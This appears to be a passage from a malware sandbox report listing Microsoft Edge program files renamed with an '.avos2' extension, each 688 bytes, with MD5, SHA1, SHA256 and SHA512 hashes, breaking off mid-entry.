a144b001acbda70528acba6b93bd391a8228d121103b5ca106a1970a2d85d439775c4d2f82ddbfc925afde221eddf6f007c8a7ac899c9d1d49bdb436f9950898

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\nb.pak.avos2

Filesize
688B

MD5
c08fd8aec801e99e823ba533440dcdc0

SHA1
dd5a4420445f0b643981acb29e717d55eb4b2f35

SHA256
020c97ea2ec2c4c226ad5c134a2c924ab669067eb82ff561c3912fc1f23c7ae8

SHA512
2f8f0428313e39560829171e7e828181f90890a1c0dc2dc1c85a72020340447727fac75f092e889cef46f591214e2cc1181593787f54deacd10d1a662db88157

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ne.pak.avos2

Filesize
688B

MD5
3d3b5730a5f1f7f0c9e96f274ae5803d

SHA1
d09382fbdeb0a725872ab950262ff35d6713bdd7

SHA256
bb03ce7c2331f7d71d04f8267aafc26429bbbbbe87523d7fe94b687094e38e43

SHA512
fbcec9b910ec577febd8732b8b9135f396bea394ba76ae1ffa6b726927ef05f0081eacbc592e85d703e5be0d45d38a702e4da84f79efda0634f882ceb0ab20df

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\nl.pak.avos2

Filesize
688B

MD5
42679e74216457bb37bed77dd2b496d6

SHA1
91ed5f608ba7f4b44a4e5b400dc21ea53f1d1d2e

SHA256
c6cd4e06e0f34f90c7fc02cedbd9738e7bd295a0081c13f4d17672b723ca2002

SHA512
ec31b1ed2a47078298c7bf798d614c27394c42b6be288dc71a72347c41c8b1a29dea88e7982f15b1524135ba870684836184321e93391f9835f272691d3e2597

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\nn.pak.avos2

Filesize
688B

MD5
258d099bdd84050cae3b6ed84fc96344

SHA1
8911f4012d8112e1a629a8ad988520a3cd3ae480

SHA256
1e1d471b4d0c0c37bf7a4dc261f6b36d24c34404094fecb602bd2c2f6eabba27

SHA512
55710588d4f6236458390d5ec451b9e6e4e9f19bc9ecaab8ff050afd0d857089eccdef3f0990fe99097c0c868a0ee955d6567f93b005d24f121826fa97e67085

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\or.pak.avos2

Filesize
688B

MD5
a5efdd8e1f7aefed8816a7b08c7fb7e0

SHA1
5268e674449057d9740d27a38f47ebe030ab0ee5

SHA256
392ec568669d4227663e11fa34b68057224443dbec57d6813e9bdef668befce1

SHA512
17ec5fad7c013e02644d92fa3366688c35d2d0d505bdd5fae9b98fa8fdad41e3c890c3b533fa69217c07fe75e2b193da28f0de5d97c525dfb7175b41e487be8f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\pa.pak.avos2

Filesize
688B

MD5
9c60dd0f2e231f087420dda030aa0e87

SHA1
3b4af5627976ff67cd76b111bc0e2923506c655c

SHA256
b63f4ffa60b56a76a89c2c73d43a4bf50c38f2571db915c1caa8663aad793e8d

SHA512
1ab4aff43a3b1d18d3673706b4b55b59c6c1f8381e1f32eada86c3d12dc1c10c3887f166acdc01144d2eb724a2e65a97cc60779a2d143caffbf4350228d690c3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\pl.pak.avos2

Filesize
688B

MD5
2a6b341a40adf1833a621bbfc3578b40

SHA1
954823aa2a5f8b06004e7b856c3fd6896d78d340

SHA256
48ceccb90c63d7dd17572ea9f1567a9d2ccee1e83f3c2eaffff0e853ee603b6a

SHA512
0d7ec34d3cf341f39506cc21bbbfadc0bcb8fe8c0ff1f0352932c7c4fc254ae6869f6eb7ddca865bc9200e0aef710265e8dbeecf6f1957bd9c743569bebd555c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\pt-PT.pak.avos2

Filesize
688B

MD5
43ac810d054b027f5b559f99c6469913

SHA1
9565766fbf1beca78a036d258d721bb275c4063c

SHA256
da220c7e1f51af1b173669d4de6a70b049903b31d7460a600786f10b0823368f

SHA512
b2559dc88dd52f23e8c0a991a904ce5dddc0d5c5177463e537ce24e1a69b5c79bd3b872a13962937265372386821734d264f408245cec30fc55a1f76b6e4b9df

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\qu.pak.avos2

Filesize
688B

MD5
883e5e8469d61f0ac4499be049666aea

SHA1
ede05eed04a5e443313fe8e1b6db1d77d6ecab47

SHA256
9be47ac55fd2ac66c75037d113abcccfbcf083543f5ad3be9e9afd008f5aadf1

SHA512
6264c5971deb9b3488c33cb503d60e6c481cfb17246dfcfbb04a127c29dbec46f725cd94367dd9bb0c91c2fe6d3dd39717b33a7e9bc916809904d89d60891267

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ru.pak.avos2

Filesize
688B

MD5
174f1fbf8f38daca3d072d056cdc27c0

SHA1
3dbc21aa79cc7824edbf54d6d3a44e1af38f73f1

SHA256
76ccbc1d25842ed2ce16c787dd178dfa8cec252f5bf638824c902d6b849a0c54

SHA512
67d3ce7208b91d486bd8da05be56ae901c32ab6b5f4585d30b4daff4291083686b1ecf8c55e08842c74f59c9aa2a9e85728cc15a96e5667d9b91ac7b16cec675

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sk.pak.avos2

Filesize
688B

MD5
0cdf5d84f8fae27365a76990dd99cad9

SHA1
4d8105570c5b8b6704ee6be56759a3a36248f943

SHA256
24031bc3b3d94e4c20e16d0447d701652d75565e1c51a156bf8d336efe6c7482

SHA512
87b8984b56006b44258287814dee803c9030f2c2dc6e8bb83d16614e3bf4ad526b531de48be14f931748a7e6c13fbb938cae7042942c243378522a48909ca275

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sl.pak.avos2

Filesize
688B

MD5
39ddc2e076c450062879cf1ca638a221

SHA1
85027f3331c0fb2fd731d729085a9847e1120215

SHA256
057ab1b16ac9ed316ce7aa92f08f1e611895a111523cebc0e784ef372ceae8fb

SHA512
93b1323ecc3417cb19375ed9617f687306640e717f9ecbcd17b69cc54ee5aca548ee244c683039d10f03755bf762b8550a9900aae15680bd99b8e86993635b95

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sq.pak.avos2

Filesize
688B

MD5
3fc835c98a30a0413d8e3defd774eca0

SHA1
9a62f13378b3aeae758f9397a42a36bd00d7fc11

SHA256
0cde8e4e9bd477b5eb54cb975333d834e09a566d25aeeb1c19109c8e6ad3ac97

SHA512
992712eca55e5f6dc98fc642b50cb0a61b967aa9c48152d24d9a03d9da67d42e2f13a0bc6f3f3ed7ca96a16c456196204d9b6dfec69134ee6929b5310bb77354

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sr-Cyrl-BA.pak.avos2

Filesize
688B

MD5
8881dc7b3c724bddde7034e9d23376d9

SHA1
35584ddd093ea2deafcb0314b33d6dd3f345bb09

SHA256
ae2fdafad0a2985ef8c579242f3f6c51849c998c3c06cd849a5954b8d033a766

SHA512
b18c30bcc2b02eee6e17e950d7cdf8f6080800bf5f91897a6fcf2038850e53f3544fab6fb35a4f73029f711851d21e1c2f69cda805f64c0bb2660c878fb02161

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sr-Latn-RS.pak.avos2

Filesize
688B

MD5
9166039c57c407d004421e1953f375b0

SHA1
bb91a460955ecab469c728497c9c70d9f9d58433

SHA256
26fbc97fa8cc9763b1cf782bc39b9eb2815010e35d6ac1d2400e425413409028

SHA512
57b550c3118e418bdd337f771b116322380f05d0dfbcaba60ed52f3f330faa439431bf1b825dfe3fdc44ddaff79c62bb03f1518b28b2e8a2c4f4b9452c57df94

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sr.pak.avos2

Filesize
688B

MD5
0aa5931b11765feb9227b6317cb9ac3e

SHA1
7a0fefbe41f3b85d9dbde507efb0097091211b2e

SHA256
aca2f8dcd35bd86287310a3ede4664c0c2667e3e7b905019425e1203fd486839

SHA512
284f0d7a851463f356452ba83fe715202b4842c71ffd70894f045d6f3ee470400261ab9b3a45f623baf9cb81bf33ccc66de010aa300cf6c22548f144f6e8d4ab

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\sv.pak.avos2

Filesize
688B

MD5
3077627686492fe9518a3b422a988d24

SHA1
61db98d8dc98f0d6db2e4d9f3f8e6682b5a5105d

SHA256
ece33320d7fbfbad1373885f98cb7e6311842d4fb5ea605802bec99999645750

SHA512
4f94c99b2060f3dbd89aac254f531d0f6edf44000eada8cac6ad47756fe68834ce6d544b7c1f9ead59b44ebcbc828321240ee596030339688679964cc742b530

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ta.pak.avos2

Filesize
688B

MD5
2882ab370da80fdfc3afd92cff0ae996

SHA1
c069a5648b1d7fda8586712597591956ea02a759

SHA256
5a5a87e487b7b62914734157ec7ebb4de19c991a43f7f3390ae93782fd0e6303

SHA512
d6886ff8edca2a79937d2dacd60deb2ec7c1e21f1f9c101581a44df4a8fc8072bda474535c213eda9ccb407ac73f3430a3eec25e6a0ce0ed12eafd75087813be

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\te.pak.avos2

Filesize
688B

MD5
bfee60af0fcc31631dc701765c7f0efc

SHA1
69c292c988c8c14fd711a5c5dbdb10978bc1a2f1

SHA256
fb89ce9f02b364c581ade83b61ae402772cff0d7535f01db0daa279bfe643cb7

SHA512
b23416a681886b4f17e46e9c93691e15351a8a7b2af9c81405b89941c3ef5183d9d56155f10a3d81702f5a8d0e73f7c59a76d1103fe92e94002bfea26b6cd980

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\th.pak.avos2

Filesize
688B

MD5
8b156f3f3733bd046097d5164bcce9e4

SHA1
3e8972f03b9af01c86a269bb31c66a2532e39d49

SHA256
9dad69edca2d1a003fed55b2211e39150a0c94304feec414eb7073c2e7fa4f29

SHA512
70e4f66ede30544838f584e4758092e024bdd2a67536489d461570e0e278a380d6f0099c102420f37822f79cfd17c6d22840ec5452400f0b0069c8ed868f3754

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\tr.pak.avos2

Filesize
688B

MD5
b94455d781a553eccb3a7040e12d51c9

SHA1
a46e2fdc48c10b3b10c755c00b2fd07692311fe6

SHA256
660f7867e8fe6616208d769adaf41dd629463bb667d92554bb11936fe71f6e33

SHA512
3bf5dc4257c3ebb54b42ebe7a2423e4114e3425688cee7abf453dbf45a2d08e1434e1342df5b0a711dc18cd6e686286ff3217422631dc26f9f16dd0142338833

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\tt.pak.avos2

Filesize
688B

MD5
207da3310c646c88089569d1c0ff9f6c

SHA1
eed58b960f6f79241e2ffceaa4114d0b843b8593

SHA256
98ffdcf878333b96a1d93b9eb76f82c0c6b43416c894c943c439e43b2aa3eb23

SHA512
206ec646f5d09c3871ed2fb7b1663cb4adce29cf92f5895a964f1d89a651bfb21e18bec48ff6104e122801d18d85d7ca5997a0fea37677c8aaa9cfffa2cbe5d3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ug.pak.avos2

Filesize
688B

MD5
f53dd254d2a11f2c2e855b45b8beec28

SHA1
f4a4d3cc1e14251b2aa3857a860f3df33bb1cb87

SHA256
9e675075c526d516675e2e0c9cd9e2dc827dfca7c14d678052a854c7aa3e7734

SHA512
321bc61a516014596768c2dc98c7eb74488efa658a5f808f1299c06ec5d3b5ca4826a787418ae0488ae762ec3a93979ad2c309a7bbefe716a59cd3cf92d6d12d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ur.pak.avos2

Filesize
688B

MD5
bda3342e88b4c76fe023ff8b776f3ca0

SHA1
93bbf78bd41d94694b32e9a0cfdd2d90d07cdd71

SHA256
b62f02f0966796f929db4b8e02800ab5979fe593a41d67f61d6c7600a7cc3c62

SHA512
491b0c04542e2fac332912b16679869f57843c58235c903feb1f5117869c931b69fb38c330a1643229d3b0c7bf6f60d8e571ec8290554e411156a834faa72a4a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\vi.pak.avos2

Filesize
688B

MD5
80103de812ec243d86aa9541779049cc

SHA1
676859dcb36657419791ea927cd02f3636d74fb0

SHA256
962abe0247981cd0267e716979a3e64705f4c994253ebdc5d644489489c96b11

SHA512
83dedc426c30f454b9207b60f2d5653e65a893a4eec6db94fe3f135d7a42ca1f6168df882f1f1d5983805119b3e777b9cdf6dd4f9f838bbc395d373f6cc4eb7c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\zh-CN.pak.avos2

Filesize
688B

MD5
5bfdb86d1b3176ea6cfabebe2f54f2cb

SHA1
d8aca7fecb4a4f961ea374715b94403a0f59f798

SHA256
b9555196f7e0f0ca770111b164b87ffe235dcf01d00df785a84922c8fb451e2d

SHA512
a97d3f195189bc0e8ed7db057088e58a8cfd4e4a956e51a26ff7da2cb14d600d784b0f274fc963e3cc2ee9039ba0b074b6d9cee4aee0bb496d82a56808992e9e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\zh-TW.pak.avos2

Filesize
688B

MD5
c30c9f516eb23c1a1479ddfb403b3577

SHA1
958b831a78963aaf293fb538483047cd41e7c2cd

SHA256
e6bd67cd10ca726f57fd244dc3ca9999e372770e258dd318656aea2d3722e5d8

SHA512
5cc0c13dfaba521be58398217d5385d127083f7f8db0d046a520c8d7410e9b219806ec2b73282e32287575c4435574d40533651f98a8466e61a2cf74741d54d3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MEIPreload\manifest.json.avos2

Filesize
688B

MD5
fbad8142542b7c4ae585c8f7b7aad69e

SHA1
765477b107b7a96873f0959ab7af61928744dbb0

SHA256
8f41743c45cd46370bce749771efd3aaa69ea5dec3b3040af43773c326427830

SHA512
622192f4f62174cb57a6c7ba92daac33c02c1c90df9e7527732757c50bc37acb8847981a6d3517cae2dbc6c4495debda4f46b3949af483908dea0bf2ed3dda58

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MEIPreload\preloaded_data.pb.avos2

Filesize
688B

MD5
a8456e307fc245fd6fa5ed14d325d912

SHA1
eaad699e0d5d208b3bd41cfdd41effb5ca31920f

SHA256
ecdb965872dd2882c050174e766508af895a190dfc57f50bc9eb906ae098f06b

SHA512
0a07e3f59b553e6acf04fa18d808c6be2032595c17302efcdff6e1455f873193825f5450b9a7e7b91602294062030dfb2ed292c012922409b5a069ed250952f7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\autofill_labeling.ort.avos2

Filesize
688B

MD5
d93302f102dd00a74b3ba869e9acf2e5

SHA1
5d8fbca6b18b45f2fbcf82fc5fa375440c8d1035

SHA256
351a4e9376e34f737795476d0145ca7440dbc81ada1d89a231aa5cec1fe9cb33

SHA512
cb307fefc5a6a0f120ed21359ca205e8df27fef496c8426d7f700b438d6edb0d95c8c5593645cc5dbff9b38df95eaedbca8ee423303d2175c51f0b2155cd7420

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\autofill_labeling_email.ort.avos2

Filesize
688B

MD5
708908e47dd947b7d2e321b927f63e5f

SHA1
fff6f1de8e6506a6c9981fb57efbc43caa00e0da

SHA256
0766765be27d66cd2ff3ba7b02caa035a3c4b0d665a4c93a3e7d48df38af6fbf

SHA512
4942a9a4308de0ca53edd0e00cc6b1a6805ce8d19c98191877cc058854696dd4370ee91e2658213a8bdac21041041ff01c6f4cdde7f89299c992246b435ce82e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\autofill_labeling_features.txt.avos2

Filesize
688B

MD5
99235bbdcc0dbbadf83210e6d62fab7f

SHA1
8f08bb0cfa637d989077107283a8c8c69ed79f21

SHA256
80c58363809a4dc140f0e6253c6064f59d5527bc94d7ea8806f579b9a9c31dff

SHA512
5349fb33471117a605aa07b7a5c170034f936a0768277564f6e10b230323e1748a4149544a2fab0ec11993398528ab8b1f395647f2d765142c51ca6ae8854d3c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\autofill_labeling_features_email.txt.avos2

Filesize
688B

MD5
4e594e43e0f6d39e2d6afa87bbd743f1

SHA1
51bb9c610814074430733de162abf8c80f02d0d8

SHA256
7fbaefed399ba88144f67243d0eea99e3e32a7944c686d242fb8e69ebbf6ff07

SHA512
fae8ecbec7dc5167cfffa4a3e0ef6abe633d7c90452165703e76eee6f042a496918d53617aa192b040ef3feb21a3603d7647cfa3af1764a6e8519d6ebf84cd2f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\nexturl.ort.avos2

Filesize
688B

MD5
d9c34a7b126f14a75090a6bceff28ea7

SHA1
2c8ba324aefeadc78b81b1b56cf6ebabba37a853

SHA256
5e8b60d31937229b4d648ae189cde8c74d8897c42b163b4f7cde57d18c979af2

SHA512
34d24db5f73610fddbceabaa28d5a5904a1ff8f674d380b26d26dc9215da3b8e792c931820781aa673ef7e77bcbd9d3150020d7b58413f6686368af16e1ff6fa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Notifications\SoftLandingAssetDark.gif.avos2

Filesize
688B

MD5
8c74505a27d39f862ca05fb1dab2a6f1

SHA1
893943d8138bef085ea97be216d52e88cda4646d

SHA256
88ac9134ec749d85af45fd53daecc87ec5d9899b31b9443c3600862b224b81c4

SHA512
5b9e67f93502f62c45c6799599011152a83402a5aebd34920965b7b644e683471675bde41e1f81c4a84605a6a1adecb70025c0353e5acbaf6c4f9547134e3ec1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Notifications\SoftLandingAssetLight.gif.avos2

Filesize
688B

MD5
a9a3d00c729f548edb228f067ed43cca

SHA1
4f54f0c616f2ed3fb4f455dc8bcd0790f5618a95

SHA256
9041ec450191f2d6a78c7e80a621ee155573145efcb4471e10cbd23fadf5a2ac

SHA512
307e1c2883489b8482e86ba49b81ab9563a7dba34690e6a59b9b4cfd1193355758b5f7abfbb5430fdbc786e299e7225bd26aee5b68f9e8faeb91bad7613c6f39

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Edge.dat.DATA.avos2

Filesize
688B

MD5
e185448ffd182e201eba458c780e5cec

SHA1
dc3620ed9c49d9a2d24f496fd584a0235a7be727

SHA256
a50a487c0ccdcd7f6f564f5949ea66880926239614cf215cadc1fe25a8a71b4f

SHA512
36747af4e257ccc19e1f021d7106b280952d3319d8b5b7056a7fcb22c336ad4567c9fd38629b38c960ab5cbdfbd84f329e4890988bca9a7c94a79d565c4aecc0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\EdgeWebView.dat.DATA.avos2

Filesize
688B

MD5
eb4bd3d48509b5f97423eb096d79ee67

SHA1
4ab94ceed307555439fda5693cf93e1f6d398bb7

SHA256
7b9de7fffbc706b11a42e40323cf121d016536c4b9b77bdc9ae67bba73b61ae8

SHA512
a70be2b5d0723763a1c39ff84f3ed793d4ac4ed1a0792c8f05d63694f349c8e3f65d86f2f53baee25acca6a0df82abf70167e60ff29455ef1bf93ff4e78b86c7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Extensions\external_extensions.json.DATA.avos2

Filesize
688B

MD5
e1c975754f9c63469378067b1455d7b6

SHA1
9371d61aa693ec5204b7f3a9187b176fdda0e70c

SHA256
620be8556201f38481a1e52bb8fddf5bd271ad00ad6dfe9d5c05d5f58a12f6c1

SHA512
3e29b8d294faa57f2237e6bfeedd86cf2209155704ba680c7cae1c5755190855b0a99bffcee5c1c9719a6a5a7ed19907f9855ee3dc9db3f17670bbf529be9ed0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\af.pak.DATA.avos2

Filesize
688B

MD5
4bb2fdaf8dcf11b9bcdae0921588dd67

SHA1
470c13179f9b61576c72d2a33985f7977f7d6fc9

SHA256
f3bd1181cc74198e7baf53459a18740dd41eb2e9535efadb64f2746c717ae285

SHA512
a1bc3bfcd9afe1e40f89c0d42bca74b2b65fde400f1a822b7265e1a27e9d0828157e2d933b75b0710696a2f10ebc816c7bad7b2a397475fc36712cb163b9291d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\am.pak.DATA.avos2

Filesize
688B

MD5
7577bf39755ba331cf5544eaa2a584d4

SHA1
2b548b2938e4c4b04876f64a247ae3efdd852361

SHA256
5fed45ffde078053e12b7bc391b841d32aeb24466a84f51a3369cc3224e8c170

SHA512
75433da100049c0545a07538b6ed2ad99c552fbc0ef938bb83af92c1f82576d1052706da0ed31adfb6225257de4c8e9efc626896c4b34e14d7d6b938cd87b98e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ar.pak.DATA.avos2

Filesize
688B

MD5
0a2e61e25accb4bbb76abeacd1847487

SHA1
90772d23bfe8a22a08a3309b7c2217d4cfe051c3

SHA256
b7eb48a24c13eaa44ca98d6f5834763f386795bc8cd6ea0ec06a9651d542a3c3

SHA512
0b059cca586063e4b96a88e321811655987d24212bc22815ee7dbb934a7994a94c076e4f0cbe6a716039d51dbd5379e303fd28d4e7c7ccbc79524df8ddcb6381

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\as.pak.DATA.avos2

Filesize
688B

MD5
7ec2ca3302632073b98f10bd227bd56d

SHA1
c325061151a23f551ad4b44f85252773b901f874

SHA256
8a7d5a3a93641feb9d94d1304f0b6622ef22396a513bc163fb8f79d85cfff034

SHA512
1d915c8bcd96787b12140f648b9a80cf3ab04c0c5e8fa8f6ea9f2c28991c193b0fd96db103ffaea0055b757c4dd2cf38d224aaab45adb3d7c649b9d2811fc193

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\az.pak.DATA.avos2

Filesize
688B

MD5
e2f2889baeee6f4a71e71db1d50abecd

SHA1
da8ff0132789c7715fdd64a68b966a8032df7d0f

SHA256
65e142c41af09254ece752b95d2a0cc1a0c2e91bd0b8f9c165d90a17567e437e

SHA512
6dc6f2c7e6484492ddf491080d3043d266cb3bbc4dc32b6b5c380fee1e58ebe01226ee8a180d363d26fdfceb01ffe03206a7ad964479fe779107bb888ea7d9f9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\bg.pak.DATA.avos2

Filesize
688B

MD5
2dccafb990c800e926685c7952a318de

SHA1
b50ce541824cb2892b3468daef74ad06f85c254b

SHA256
27632650fb40f740a4ee4fd4c9307cc37c245d053a2ffec771034901544f82de

SHA512
37270a53dd43a312ff6bbd21ff162dd3eecd659364654b91eb4fdd24919b95a2f60428cff4ccab88cd00e3892e6f11a76339c4d92bd12ea725449b606f3db27e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\bn-IN.pak.DATA.avos2

Filesize
688B

MD5
d8fbf2250dd8ffb5cf5464a08a46e695

SHA1
7773c75eaaa2a24e6ea2d40fd6aa0e5d82b60dd6

SHA256
b7b7748111d98e84041d65102bbe8b7197ac9ba1774e05bacec7e677221d7686

SHA512
88135870cc0145b38d9bef5a3dbe8edaadc1a4011e2b71c1be91ce3bfcae6609cfd16daf09a48eea44897bf11c97bd1c521ffed8bd97b87789434fa7aa65f98b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\bs.pak.DATA.avos2

Filesize
688B

MD5
dfa8c17f013091340d88d1045d5a6731

SHA1
570bc8f110d0f8cb712898cb0beeb55b3ea09b89

SHA256
b7ccf8f983c4bc3f3995c644df6e5a8a3e7d06bdf4bdeee84da02754104d4145

SHA512
398d3946b6d3ff18b27287fca07973c69c93c72b09d6111d6d490be69dec9517f44ec0c3cddfb3602414719a4465eef32a706ce4630f9a84185dba752a571352

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ca-Es-VALENCIA.pak.DATA.avos2

Filesize
688B

MD5
6660da8093f84724d38d7313206b3f43

SHA1
aeb2acd85c50f0bed30c7b6552f162c8bc0df4e7

SHA256
686cd273278eb3598d760a9644e22430310b84236ee839959f22364200311412

SHA512
1912a38ab33c75078373c082c93ac94a0441dbbed153fe471712f74113dc5401428483665dacc363b850c6a6a0dafee1d58c8fcb209074d72709d7548e42abd3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ca.pak.DATA.avos2

Filesize
688B

MD5
da4045e69dc1cb1e0ef2cdeaff11debb

SHA1
0f091f438f7f90357210533c7ae6c6ebac837062

SHA256
4c8d4590c5a8bc890cdb8116cd72f4e0f122b383cade64b839da59e5b29d8143

SHA512
020d93ebda70114defd3ae9ed38324f6f0c390363842dec30d56f59436d569cc377138ad14a098bc77ee3bafdc6b7fcabc118f6f030f52f5f8c8d35684499485

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\cs.pak.DATA.avos2

Filesize
688B

MD5
12b00b79e66ec708378971d6bad1e143

SHA1
78108539f1b02f56c5125bc9ce1c40dc22c66217

SHA256
04d26ad0fe8bdafda4f3ba3c95fe323146969c5e3fce416d8c38cda8059bdf95

SHA512
223b9425af4dfb87dca8e34bfbb01e67ba03cf0bf632f24252fc3e970a503de49030d06a6470d36a1062f669011806f9960a97060f3aa35a21495a7bb09c136a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\cy.pak.DATA.avos2

Filesize
688B

MD5
d7166417c828c7f1e8718e43db5b0c29

SHA1
ce4efe491ce7769e8ba509952db04d09707cd593

SHA256
96a944ced199e59dcb3e163637db3b29d75372d5da31e941da60d3e558eae30d

SHA512
d0ec39b13bcbb5ee2fda28267e00372fc103e9866289c544b8a96ea842e9f885d4be80af80a445f9c4e6c6d55033fa7c469b056c9a956102afa07324bc720848

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\da.pak.DATA.avos2

Filesize
688B

MD5
8d484c1dbdd913d9499d6f6ecdbe42a2

SHA1
adc1972fbfee04e322ce6b32dc0498d936768b39

SHA256
1bf9e5bd9c93f366bdba9a26de32f9165c7754e120b4bf2624a8e63830a68a05

SHA512
8d57c91a44622ea5b5cbc479b4ab988d1fac44684f0eabffc9d8a0cc0d6527d62465ae3329b4b17bc533ba47523d18539835a59d634235050ce68fe775360b70

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\de.pak.DATA.avos2

Filesize
688B

MD5
323ab9cb7c09a6fb6c7b867404795067

SHA1
4ef9cfad5b4d1641a5a0497474b6a59922333f5c

SHA256
4d6689737e34bb663ade1a05b320eae95a8a95092ae23bcbbaba333b506b55df

SHA512
80351c0aa4d54b9e83623982fc64919359f3e02afc73d321223e9420a9f01a364968e13406f93baa8097375327af7325adb2165e5246eb183a77c3fcf5fd80f2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\es.pak.DATA.avos2

Filesize
688B

MD5
099ad631ff3a4d1f419a8fb4a2b3388a

SHA1
57098b47b57f15e3da5189ecd2d54775a781f027

SHA256
396f4d16ad36f63c34d0b812c990d69aa129da09883155f8e2f15ad885e0b8d4

SHA512
258c2d40e6fa68dbc83830aa55cf40d8db98e0a664177fa48b8069e82da8a4367720a350c1d13d94172db6154c16e42640cec3419e662b15d200a88793a81b18

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\fr.pak.DATA.avos2

Filesize
688B

MD5
d937496308714978a7a0ba433eb5bf25

SHA1
5a5faf7255bfe3bb948b08e627f885572daefe18

SHA256
802e930a686f87ca6d840238bc54dda32b2ba27ac26aabc8a1af2b0098a7c5a7

SHA512
e8cf421633c3934e0217a595e984ad0228706dca82a1f3097177c8502ee84e544a27ef8c795065f58a050e1505dbbd6ddc807ae8a02c789210d9a8c3633c47c7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\it.pak.DATA.avos2

Filesize
688B

MD5
dbeb984fe7faa3f76fac78327006ddff

SHA1
a4d06b4a57ee8df2a65114c12a135eb626578b12

SHA256
bc5c850261be9cea9e7f2de074bf90935f2d92ff4d70737e6bd04d8304856a14

SHA512
15f8285a8a75a3b2a13c1f536eb92f64209bad0fe4689fb2a422616f2d173688a72f4425ac43f8872e18ae49ab503f5e265d62dae2ebc6d2b73343eb93857536

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\ja.pak.DATA.avos2

Filesize
688B

MD5
79b8476bd1fdfc9856ffe9d7c926f85c

SHA1
923d1addbdb5f248c95a792cc37512036277d986

SHA256
53082278ccf958d675c6f062080115b3a859413d474d854f4b903a13ebecfce2

SHA512
